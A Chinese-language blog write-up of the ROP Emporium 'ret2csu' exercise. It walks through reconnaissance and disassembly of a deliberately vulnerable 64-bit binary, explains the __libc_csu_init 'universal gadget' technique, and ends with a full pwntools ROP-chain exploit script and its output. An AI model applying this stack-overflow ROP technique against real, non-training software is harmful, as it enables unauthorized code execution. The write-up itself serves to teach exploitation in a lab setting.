ROP_Emporium_ret2csu

12 篇文章 0 订阅

1. ret2csu

信息收集

题目只有64位版本,提供了以下文件:

encrypted_flag.dat  key.dat  libret2csu.so  ret2csu

作者提示,这个题和callme类似,调用ret2win()并提供指定的参数即可,但缺少明显的可利用的gadget。

$ file ret2csu
ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f722121b08628ec9fc4a8cf5abd1071766097362, not stripped
$ checksec ./ret2csu
[*] '/home/starr/Documents/CProject/pwn/ret2csu'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
    RUNPATH:  b'.'
$ ldd ret2csu
        linux-vdso.so.1 (0x00007ffdd03c9000)
        libret2csu.so => ./libret2csu.so (0x00007f0e7811f000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0e77d2e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f0e78322000)
$ checksec ./libret2csu.so
[*] '/home/starr/Documents/CProject/pwn/libret2csu.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

反汇编

$ objdump -d -M intel ret2csu
0000000000400500 <pwnme@plt>:
0000000000400510 <ret2win@plt>:
0000000000400607 <main>:
  400607:       55                      push   rbp
  400608:       48 89 e5                mov    rbp,rsp
  40060b:       e8 f0 fe ff ff          call   400500 <pwnme@plt>
  400610:       b8 00 00 00 00          mov    eax,0x0
  400615:       5d                      pop    rbp
  400616:       c3                      ret

0000000000400617 <usefulFunction>:
  400617:       55                      push   rbp
  400618:       48 89 e5                mov    rbp,rsp
  40061b:       ba 03 00 00 00          mov    edx,0x3
  400620:       be 02 00 00 00          mov    esi,0x2
  400625:       bf 01 00 00 00          mov    edi,0x1
  40062a:       e8 e1 fe ff ff          call   400510 <ret2win@plt>
  ...
$ objdump -d -M intel libret2csu.so
000000000000093a <pwnme>:
 ...
 9ae:   48 8d 45 e0             lea    rax,[rbp-0x20]
 9b2:   ba 00 02 00 00          mov    edx,0x200
 9b7:   48 89 c6                mov    rsi,rax
 9ba:   bf 00 00 00 00          mov    edi,0x0
 9bf:   e8 2c fe ff ff          call   7f0 <read@plt>	read(stdin, rbp-0x20, 0x200)
 ...
 9d0:   90                      nop
 9d1:   c9                      leave
 9d2:   c3                      ret


00000000000009d3 <ret2win>:
 9d3:   55                      push   rbp
 9d4:   48 89 e5                mov    rbp,rsp
 9d7:   48 83 ec 30             sub    rsp,0x30
 9db:   48 89 7d e8             mov    QWORD PTR [rbp-0x18],rdi		arg0
 9df:   48 89 75 e0             mov    QWORD PTR [rbp-0x20],rsi		arg1
 9e3:   48 89 55 d8             mov    QWORD PTR [rbp-0x28],rdx		arg2
 9e7:   48 c7 45 f0 00 00 00    mov    QWORD PTR [rbp-0x10],0x0
 9ee:   00
 9ef:   48 b8 ef be ad de ef    movabs rax,0xdeadbeefdeadbeef		arg0
 9f6:   be ad de
 9f9:   48 39 45 e8             cmp    QWORD PTR [rbp-0x18],rax
 9fd:   0f 85 d7 00 00 00       jne    ada <ret2win+0x107>
 a03:   48 b8 be ba fe ca be    movabs rax,0xcafebabecafebabe		arg1
 a0a:   ba fe ca
 a0d:   48 39 45 e0             cmp    QWORD PTR [rbp-0x20],rax
 a11:   0f 85 c3 00 00 00       jne    ada <ret2win+0x107>
 a17:   48 b8 0d f0 0d d0 0d    movabs rax,0xd00df00dd00df00d		arg2
 a1e:   f0 0d d0
 a21:   48 39 45 d8             cmp    QWORD PTR [rbp-0x28],rax
 a25:   0f 85 af 00 00 00       jne    ada <ret2win+0x107>
 ...
 b26:   e8 05 fd ff ff          call   830 <fopen@plt>
 ...
 b63:   e8 78 fc ff ff          call   7e0 <fgetc@plt>
 ...  省略解密过程

缓冲区距离返回地址(rbp+8) - (rbp-0x20) == 0x28字节。

要想通过ret2win解密flag并输出,需要传递三个硬编码的参数:

rdi = 0xdeadbeefdeadbeef
rsi = 0xcafebabecafebabe
rdx = 0xd00df00dd00df00d

搜一下gadget:

pwndbg> rop --grep "pop"
...
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

可以搜到rdi, rsi,但是没有rdx。搜索xchg等指令也是无果。这种情况可以考虑使用ret2csu技术。

关于ret2csu利用

Ret2csu是blackhat大会在2018年的一个议题,即通过__libc_csu_init 函数中的两个特殊 gadgets可实现万能传参。这个函数用来初始化libc,所以一定会存在。

$ objdump -d -M intel ./ret2csu
...
0000000000400510 <ret2win@plt>:
...
0000000000400640 <__libc_csu_init>:
  400640:       41 57                   push   r15
  400642:       41 56                   push   r14
  400644:       49 89 d7                mov    r15,rdx
  400647:       41 55                   push   r13
  400649:       41 54                   push   r12
  40064b:       4c 8d 25 9e 07 20 00    lea    r12,[rip+0x20079e]        # 600df0 <__frame_dummy_init_array_entry>
  400652:       55                      push   rbp
  400653:       48 8d 2d 9e 07 20 00    lea    rbp,[rip+0x20079e]        # 600df8 <__init_array_end>
  40065a:       53                      push   rbx
  40065b:       41 89 fd                mov    r13d,edi
  40065e:       49 89 f6                mov    r14,rsi
  400661:       4c 29 e5                sub    rbp,r12
  400664:       48 83 ec 08             sub    rsp,0x8
  400668:       48 c1 fd 03             sar    rbp,0x3
  40066c:       e8 5f fe ff ff          call   4004d0 <_init>
  400671:       48 85 ed                test   rbp,rbp
  400674:       74 20                   je     400696 <__libc_csu_init+0x56>
  400676:       31 db                   xor    ebx,ebx
  400678:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
  40067f:       00
  
  400680:       4c 89 fa                mov    rdx,r15		pGadgetCsuMov
  400683:       4c 89 f6                mov    rsi,r14
  400686:       44 89 ef                mov    edi,r13d
  
  400689:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]		想办法使 rbx=0
  40068d:       48 83 c3 01             add    rbx,0x1
  400691:       48 39 dd                cmp    rbp,rbx			阻止跳转 <-- rbp == rbx + 0x1 == 1
  400694:       75 ea                   jne    400680 <__libc_csu_init+0x40>
  400696:       48 83 c4 08             add    rsp,0x8
  
  40069a:       5b                      pop    rbx			pGadgetCsuPop
  40069b:       5d                      pop    rbp
  40069c:       41 5c                   pop    r12
  40069e:       41 5d                   pop    r13
  4006a0:       41 5e                   pop    r14
  4006a2:       41 5f                   pop    r15
  4006a4:       c3                      ret

函数中有两段gadget:pGadgetPop和pGadgetCall。Ret2csu的流程如下:

  1. 执行pGadgetCsuPop,返回到pGadgetCall;

  2. pGadgetCsuMov:

    • edi == r13d ,无法赋值8个字节;

    • rsi == r14 == 0xcafebabecafebabe;

    • rdx == r15 == 0xd00df00dd00df00d;

    • rbx == 0;

    • call [r12];

    • rbp == rbx + 0x1 == 0x1;

  3. 0x400696往后还会再执行一遍pGadgetPop,需要在栈里填充8*7个字节;

  4. pGadgetPopRdi, 赋值rdi == 0xdeadbeefdeadbeef;

  5. ret2win

因在rdi并没有赋值为0xdeadbeefdeadbeef,所以需要再执行一遍pGadgetPop,返回一个 pop rdi的gadget。

R12的地址需要解引用,类似got这样的跳转表,并且执行的指令不能影响栈平衡和寄存器的值。Gdb pwndbg提供了telescope命令, 译为望远镜,很形象:

pwndbg> help telescope
Recursively dereferences pointers starting at the specified address

除了got,dynamic,init_array,fini_array这几个section也可以试试:

$ readelf -S ret2csu
There are 29 section headers, starting at offset 0x1930:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  ...
  [18] .init_array       INIT_ARRAY       0000000000600df0  00000df0
       0000000000000008  0000000000000008  WA       0     0     8
  [19] .fini_array       FINI_ARRAY       0000000000600df8  00000df8
       0000000000000008  0000000000000008  WA       0     0     8
  [20] .dynamic          DYNAMIC          0000000000600e00  00000e00
       00000000000001f0  0000000000000010  WA       6     0     8
  [21] .got              PROGBITS         0000000000600ff0  00000ff0
       0000000000000010  0000000000000008  WA       0     0     8
  [22] .got.plt          PROGBITS         0000000000601000  00001000
       0000000000000028  0000000000000008  WA       0     0     8
pwndbg> telescope 0x0000000000600df0 2		# init_array + fini_array
00:0000│  0x600df0 (__init_array_start) —▸ 0x400600 (frame_dummy) ◂— push   rbp
01:0008│  0x600df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4005d0 (__do_global_dtors_aux) ◂— cmp    byte ptr [rip + 0x200a61], 0
pwndbg> telescope 0x0000000000600e00 62		# dynamic
00:0000│  0x600e00 (_DYNAMIC) ◂— 0x1
... ↓     2 skipped
...
07:0038│  0x600e38 (_DYNAMIC+56) —▸ 0x4004d0 (_init) ◂— sub    rsp, 8		!!!!!!!!!!!!!
08:0040│  0x600e40 (_DYNAMIC+64) ◂— 0xd /* '\r' */
09:0048│  0x600e48 (_DYNAMIC+72) —▸ 0x4006b4 (_fini) ◂— sub    rsp, 8		!!!!!!!!!!!!!
0a:0050│  0x600e50 (_DYNAMIC+80) ◂— 0x19
0b:0058│  0x600e58 (_DYNAMIC+88) —▸ 0x600df0 (__init_array_start) —▸ 0x400600 (frame_dummy) ◂— push   rbp	!!!!!!!!!!!!!!
...
0f:0078│  0x600e78 (_DYNAMIC+120) —▸ 0x600df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4005d0 (__do_global_dtors_aux) ◂— cmp    byte ptr [rip + 0x200a61], 0
...
13:0098│  0x600e98 (_DYNAMIC+152) —▸ 0x400298 ◂— add    eax, dword ptr [rax]
14:00a0│  0x600ea0 (_DYNAMIC+160) ◂— 0x5
15:00a8│  0x600ea8 (_DYNAMIC+168) —▸ 0x4003c0 ◂— add    byte ptr [rcx + rbp*2 + 0x62], ch
16:00b0│  0x600eb0 (_DYNAMIC+176) ◂— 0x6
17:00b8│  0x600eb8 (_DYNAMIC+184) —▸ 0x4002d0 ◂— add    byte ptr [rax], al
...
pwndbg> telescope 0x0000000000600ff0 7
00:0000│  0x600ff0 —▸ 0x7ffff7800ba0 (__libc_start_main) ◂— push   r13
01:0008│  0x600ff8 ◂— 0x0
02:0010│  0x601000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x600e00 (_DYNAMIC) ◂— 0x1
03:0018│  0x601008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7ffe170 ◂— 0x0
04:0020│  0x601010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7dea820 (_dl_runtime_resolve_xsave) ◂— push   rbx
05:0028│  0x601018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x400506 (pwnme@plt+6) ◂— push   0 /* 'h' */
06:0030│  0x601020 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x400516 (ret2win@plt+6) ◂— push   1

init_array_start函数是ELF程序的一个初始化函数,运行它一般不会对栈空间造成影响,但这里却把rsi给改变了。。。

00000000000008a0 <register_tm_clones>:
 8a0:   48 8d 3d d1 17 20 00    lea    rdi,[rip+0x2017d1]        # 202078 <_edata>
 8a7:   48 8d 35 ca 17 20 00    lea    rsi,[rip+0x2017ca]        # 202078 <_edata>
 8ae:   55                      push   rbp
 8af:   48 29 fe                sub    rsi,rdi	!!!!!!!!!!!!!!!!!!!!!!!!
 8b2:   48 89 e5                mov    rbp,rsp
 8b5:   48 c1 fe 03             sar    rsi,0x3	!!!!!!!!!!!!!!!!!!!!!!!!
 8b9:   48 89 f0                mov    rax,rsi
 8bc:   48 c1 e8 3f             shr    rax,0x3f
 8c0:   48 01 c6                add    rsi,rax	!!!!!!!!!!!!!!!!!!!!!!!!
 8c3:   48 d1 fe                sar    rsi,1	!!!!!!!!!!!!!!!!!!!!!!!!

 ...
0000000000000930 <frame_dummy>:
 930:   55                      push   rbp
 931:   48 89 e5                mov    rbp,rsp
 934:   5d                      pop    rbp
 935:   e9 66 ff ff ff          jmp    8a0 <register_tm_clones>

另外两个,_init_fini,看了一下,后者也很合适:

pwndbg> disassemble 0x4006b4
Dump of assembler code for function _fini:
   0x00000000004006b4 <+0>:     sub    rsp,0x8
   0x00000000004006b8 <+4>:     add    rsp,0x8
   0x00000000004006bc <+8>:     ret

Rop chain

padding		len 0x28

pGadgetCsuPop	0x40069a
0			pop to rbx
1			pop to rbp, 0x1 == rbx + 0x1
p_init_array_start		0x600e58	pop to r12
0			pop to r13
0xcafebabecafebabe	pop to r14
0xd00df00dd00df00d	pop to r15
pGadgetCsuMov	0x400680

p(64)*7		pGadgetCsuPop again

pGadgetPopRdi	0x00000000004006a3 : pop rdi ; ret
0xdeadbeefdeadbeef
ret2win

Exp

# coding:utf-8
from pwn import *

context.arch = "amd64"
context.bits = 64
context.os = "linux"

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;


g_nBufOverflowIndex = 0x28
pGadgetCsuPop = 0x40069a
pGadgetCsuMov = 0x400680

pGadgetPopRdi = 0x00000000004006a3  # pop rdi ; ret



# pp_init_array_start = 0x600df0      一般用它,但本题布星~
ppFini = 0x600e48

nArg0_rdi = 0xdeadbeefdeadbeef
nArg1_rsi = 0xcafebabecafebabe
nArg2_rdx = 0xd00df00dd00df00d

strProgram = "./ret2csu"
strSo = "./libret2csu.so"

elf = ELF(strProgram)
pRet2Win = elf.plt["ret2win"]     # 0x0000000000400510

rop_chain = b"".join([
    b"A" * g_nBufOverflowIndex,
    p64(pGadgetCsuPop),
    p64(0),			# pop to rbx
    p64(1),			# pop to rbp, 0x1 == rbx + 0x1
    
    # _fini
    # p64(pp_init_array_start), #pop to r12   call   QWORD PTR [r12+rbx*8]
    p64(ppFini),    #pop to r12   call   QWORD PTR [r12+rbx*8]

    p64(0),			# pop to r13
    p64(nArg1_rsi),	# pop to r14
    p64(nArg2_rdx),	# pop to r15
    p64(pGadgetCsuMov),	# ret

    p64(0)*7,		# pGadgetCsuPop again

    p64(pGadgetPopRdi),
    p64(nArg0_rdi),
    p64(pRet2Win)
])


io = getio(strProgram)
io.clean()

# gdb.attach(io)
# pause()

io.sendline(rop_chain)
print(io.recv(timeout=10))
io.interactive()


# sudo python2 exp64.py
# [*] '/home/starr/Documents/CProject/pwn/ret2csu'
#     Arch:     amd64-64-little
#     RELRO:    Partial RELRO
#     Stack:    No canary found
#     NX:       NX enabled
#     PIE:      No PIE (0x400000)
#     RUNPATH:  '.'
# [+] Starting local process './ret2csu': pid 6638
# Thank you!
# [*] Switching to interactive mode
# [*] Process './ret2csu' stopped with exit code 0 (pid 6638)

# ROPE{a_placeholder_32byte_flag!}


3. 参考文章

ROP-Ret2csu详解 | 偏有宸机 (gitee.io)

asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf (blackhat.com)

ROP Emporium - Ret2csu (x64) - blog.r0kithax.com

ret2csu - 先知社区 (aliyun.com)

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值